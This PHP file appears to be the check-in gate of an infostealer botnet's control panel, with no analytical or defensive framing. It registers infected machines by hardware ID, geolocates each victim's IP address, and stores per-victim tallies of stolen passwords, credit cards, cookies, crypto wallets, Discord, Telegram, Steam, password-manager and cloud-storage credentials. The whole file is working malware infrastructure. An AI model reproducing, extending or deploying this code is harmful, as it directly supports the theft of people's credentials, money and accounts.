<?php
//error_reporting(0);
include("config.php");

// Debug log with timestamp
function log_debug($message) {
    file_put_contents("gate_universal.log", date('Y-m-d H:i:s') . " - " . $message . "\n", FILE_APPEND);
}

log_debug("Request received");

// Function to extract value from any possible source
function get_param($param_name, $default = null) {
    // Check standard POST
    if (isset($_POST[$param_name])) {
        log_debug("Found '{$param_name}' in POST: " . $_POST[$param_name]);
        return $_POST[$param_name];
    }
    
    // Check GET parameters
    if (isset($_GET[$param_name])) {
        log_debug("Found '{$param_name}' in GET: " . $_GET[$param_name]);
        return $_GET[$param_name];
    }
    
    // Try to extract from raw input
    $raw_input = file_get_contents('php://input');
    if (!empty($raw_input)) {
        // Try URL encoding pattern match
        if (preg_match('/' . preg_quote($param_name) . '=([^&]+)/i', $raw_input, $matches)) {
            $value = urldecode($matches[1]);
            log_debug("Found '{$param_name}' in raw input pattern match: " . $value);
            return $value;
        }
        
        // Try parsing as URL-encoded
        $parsed = array();
        parse_str($raw_input, $parsed);
        if (isset($parsed[$param_name])) {
            log_debug("Found '{$param_name}' in parsed URL-encoded data: " . $parsed[$param_name]);
            return $parsed[$param_name];
        }
        
        // Try JSON
        $json_data = json_decode($raw_input, true);
        if (json_last_error() === JSON_ERROR_NONE && isset($json_data[$param_name])) {
            log_debug("Found '{$param_name}' in JSON data: " . $json_data[$param_name]);
            return $json_data[$param_name];
        }
    }
    
    // Return default if not found
    log_debug("'{$param_name}' not found, using default: " . ($default ?? 'null'));
    return $default;
}

// Get settings
$settings_query = mysqli_query($condb, "SELECT * FROM `settings` LIMIT 1");
$settings = mysqli_fetch_array($settings_query);
$default_username = isset($settings['username']) ? $settings['username'] : 'admin';

// Get parameters using our universal function
$hwid = get_param('hwid', '');
$username = get_param('username', $default_username);
$passwords = (int)get_param('Passwords', 0);
$creditcards = (int)get_param('CreditCards', 0);
$cookies = (int)get_param('Cookies', 0);
$autofill = (int)get_param('AutoFill', 0);
$wallets = (int)get_param('Wallets', 0);
$vpn = (int)get_param('VPN', 0);
$telegram = (int)get_param('Telegram', 0);
$steam = (int)get_param('Steam', 0);
$gaming = (int)get_param('Gaming', 0);
$othermessengers = (int)get_param('OtherMessengers', 0);
$discord = (int)get_param('Discord', 0);
$devtools = (int)get_param('DevTools', 0);
$emailclients = (int)get_param('EmailClients', 0);
$passwordmanagers = (int)get_param('PasswordManagers', 0);
$remoteaccess = (int)get_param('RemoteAccess', 0);
$cloudstorage = (int)get_param('CloudStorage', 0);
$browserextended = (int)get_param('BrowserExtended', 0);

log_debug("Final parameters - HWID: {$hwid}, Username: {$username}");

if (empty($hwid)) {
    log_debug("No HWID provided, exiting");
    echo "Error: No HWID provided";
    exit;
}

// Current time
$d = date('Y/m/d h:i:s a', time());

// Get IP and country
$ip = $_SERVER['REMOTE_ADDR'];
$loc = json_decode(file_get_contents('http://ip-api.com/json/'.$ip), true);
$c = isset($loc['countryCode']) ? $loc['countryCode'] : '';

// Check if bot exists
$sql_std = "SELECT COUNT(*) as count FROM `bot` WHERE HWID = ?";
$stmt = mysqli_prepare($condb, $sql_std);
mysqli_stmt_bind_param($stmt, "s", $hwid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_assoc($result);
$count_std = $row['count'];
mysqli_stmt_close($stmt);

// Check if log exists
$log_check = "SELECT COUNT(*) as count FROM `logs` WHERE hwid = ?";
$stmt = mysqli_prepare($condb, $log_check);
mysqli_stmt_bind_param($stmt, "s", $hwid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_assoc($result);
$log_exists = $row['count'] > 0;
mysqli_stmt_close($stmt);

log_debug("Bot exists: " . ($count_std > 0 ? 'YES' : 'NO') . ", Log exists: " . ($log_exists ? 'YES' : 'NO'));

try {
    if ($count_std == 0) {
        // Insert new bot
        $bot_insert = "INSERT INTO `bot` (`IP`, `HWID`, `Date_Time`, `Country`) VALUES (?, ?, ?, ?)";
        $stmt = mysqli_prepare($condb, $bot_insert);
        mysqli_stmt_bind_param($stmt, "ssss", $ip, $hwid, $d, $c);
        $result = mysqli_stmt_execute($stmt);
        log_debug("Bot insert result: " . ($result ? 'Success' : 'Failed - ' . mysqli_stmt_error($stmt)));
        mysqli_stmt_close($stmt);
    } else {
        // Update existing bot
        $bot_update = "UPDATE `bot` SET `Date_Time` = ?, `IP` = ?, `Country` = ? WHERE `HWID` = ?";
        $stmt = mysqli_prepare($condb, $bot_update);
        mysqli_stmt_bind_param($stmt, "ssss", $d, $ip, $c, $hwid);
        $result = mysqli_stmt_execute($stmt);
        log_debug("Bot update result: " . ($result ? 'Success' : 'Failed - ' . mysqli_stmt_error($stmt)));
        mysqli_stmt_close($stmt);
    }
    
    if ($log_exists) {
        // IMPORTANT: Include username in the update!
        $log_update = "UPDATE `logs` SET 
            `IP` = ?, 
            `Country` = ?, 
            `username` = ?, 
            `Passwords` = ?, 
            `CreditCards` = ?, 
            `Cookies` = ?, 
            `AutoFill` = ?, 
            `Wallets` = ?, 
            `VPN` = ?, 
            `Telegram` = ?, 
            `Steam` = ?, 
            `Gaming` = ?, 
            `OtherMessengers` = ?, 
            `Discord` = ?, 
            `DevTools` = ?, 
            `EmailClients` = ?, 
            `PasswordManagers` = ?, 
            `RemoteAccess` = ?, 
            `CloudStorage` = ?, 
            `BrowserExtended` = ?,
            `last_updated` = ?
            WHERE `hwid` = ?";
        
        $stmt = mysqli_prepare($condb, $log_update);
        mysqli_stmt_bind_param($stmt, "sssiiiiiiiiiiiiiiiiiss", 
            $ip, $c, $username, 
            $passwords, $creditcards, $cookies, $autofill, $wallets,
            $vpn, $telegram, $steam, $gaming, $othermessengers,
            $discord, $devtools, $emailclients, $passwordmanagers,
            $remoteaccess, $cloudstorage, $browserextended,
            $d, $hwid);
            
        $result = mysqli_stmt_execute($stmt);
        log_debug("Log update result: " . ($result ? 'Success' : 'Failed - ' . mysqli_stmt_error($stmt)));
        mysqli_stmt_close($stmt);
    } else {
        // Insert new log
        $log_insert = "INSERT INTO `logs` (
            `hwid`,
            `username`, 
            `IP`, 
            `Country`, 
            `Passwords`,
            `CreditCards`,
            `Cookies`,
            `AutoFill`,
            `Wallets`,
            `VPN`,
            `Telegram`,
            `Steam`,
            `Gaming`,
            `OtherMessengers`,
            `Discord`,
            `DevTools`,
            `EmailClients`,
            `PasswordManagers`,
            `RemoteAccess`,
            `CloudStorage`,
            `BrowserExtended`,
            `last_updated`
        ) VALUES (
            ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?
        )";
        
        $stmt = mysqli_prepare($condb, $log_insert);
        mysqli_stmt_bind_param($stmt, "ssssiiiiiiiiiiiiiiiiis", 
            $hwid, $username, $ip, $c,
            $passwords, $creditcards, $cookies, $autofill, $wallets,
            $vpn, $telegram, $steam, $gaming, $othermessengers,
            $discord, $devtools, $emailclients, $passwordmanagers,
            $remoteaccess, $cloudstorage, $browserextended, 
            $d);
            
        $result = mysqli_stmt_execute($stmt);
        log_debug("Log insert result: " . ($result ? 'Success' : 'Failed - ' . mysqli_stmt_error($stmt)));
        mysqli_stmt_close($stmt);
    }
    
    echo "OK";
    log_debug("Request processed successfully");
} catch (Exception $e) {
    log_debug("Error: " . $e->getMessage());
    echo "Error: " . $e->getMessage();
}
?> 